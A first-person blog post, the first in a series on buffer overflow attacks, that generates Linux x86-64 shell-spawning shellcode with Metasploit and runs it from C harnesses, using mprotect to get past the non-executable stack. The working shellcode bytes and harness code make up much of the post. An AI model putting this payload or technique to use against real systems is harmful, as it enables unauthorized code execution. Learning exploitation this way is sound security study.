This is my very first blog post! More will follow…

At least for this few post, I’m writing for an audience of one, which is my future self. I’ll be covering topics that may be covered elsewhere, however, I personally thought they were either not clearly explained or not up to date. (Perhaps I’m wrong…)

Comments are disabled, but if anyone reading this has feedback, feel free to send me an email ().

In this series of posts, I’ll be covering buffer overflow attacks on Linux x86-64 platforms. First, let’s cover shellcode (a piece of code to start a command shell).

Normally, a shell can be launched as follows. Consider the following simple_shell.c:

#include <stdio.h>
#include <unistd.h>

int main() {
  char *cmd = "/bin/sh";
  char *argv[] = { cmd, NULL };
  char *envp[] = { NULL };

  execve("/bin/sh", argv, envp);
  return 0;
}

Compiling and executing this code starts a shell:

gcc -Wall -O3 simple_shell.c -o simple_shell
./simple_shell
$ 

So far, so good! Now let’s do the same thing with shellcode. First, we’ll need to generate some shellcode…

For this, we can use the Metasploit framework. Metasploit is not included in the standard Ubuntu repositories, and figuring out how to install it with all its dependencies will take quite some time and effort. (I recall complaining to a well-known cryptographer that some parts of software development can be quite tedious and painful. His reply was that what is “pain” to me, can be “pleasure” to someone else. But anyway, I’m digressing…)

So, instead of installing Metasploit, it’s much easier to use Docker to quickly get things up and running. To install Docker and run it as a non-root user:

sudo apt-get install docker.io
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker

And generate some shellcode as follows (I’m leaving out some parts of the console output):

docker run --rm -ti metasploitframework/metasploit-framework

use payload/linux/x64/exec
set NullFreeVersion true
generate -f c

unsigned char buf[] = 
"\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";

The NullFreeVersion line was not present in an earlier version of this post. But it’s there now, because I will need it in a future post.

Let’s try our shellcode. Consider the following shellcode.c:

int main() {
  unsigned char buf[] = 
  "\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
  "\x52\x5e\x6a\x3b\x58\x0f\x05";
  
  (*(void (*)()) buf)();
  
  return 0;
}

The line before the return statement may look a bit weird, but it’s actually just casting the char array buf to a function pointer, dereferencing the function pointer, and then using () to run it as a function. Unfortunately, it doesn’t work:

gcc -Wall -O3 shellcode.c -o shellcode 
./shellcode
Segmentation fault (core dumped)

There are many types of segmentation faults, and it can be helpful to have journalctl -f running in a separate shell to observe the journal entry as the error happens:

segfault at 7ffe23ff3180 ip 00007ffe23ff3180 sp 00007ffe23ff3178 error 15

As it turns out, error 15 is an attempt to execute code from a mapped memory area that isn’t executable. (We are given the address where the error occurs, the address of the instruction pointer (ip), and the address of the stack pointer (sp). All three addresses are located on the stack, and by default the stack is non-executable on our system…)

So we need to change our code slightly, to enable execution for the page(s) in memory where buf is located. For this we can use mprotect(), which requires an address that is aligned to a page boundary (see man mprotect). On my system, getconf PAGE_SIZE shows that pages are 4096 bytes. Using some bit manipulation to calculate the address range for mprotect() correctly, the following shellcode2.c should work:

#include <stdint.h>
#include <sys/mman.h>

int main() {
  unsigned char buf[] = 
  "\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
  "\x52\x5e\x6a\x3b\x58\x0f\x05";
  
  mprotect((void *)((uintptr_t)buf & ~4095),
                   ((uintptr_t)buf &  4095) + sizeof(buf),
            PROT_READ|PROT_WRITE|PROT_EXEC);
  
  (*(void (*)()) buf)();
  
  return 0;
}

And, in fact it does:

gcc -Wall -O3 shellcode2.c -o shellcode2
./shellcode2
$

It can be handy to use strace -e execve ./shellcode2 to trace the system call.

That’s it! The story continues in Buffer Overflow Attacks (Part 2)….

Buffer Overflow Attacks (Part 1)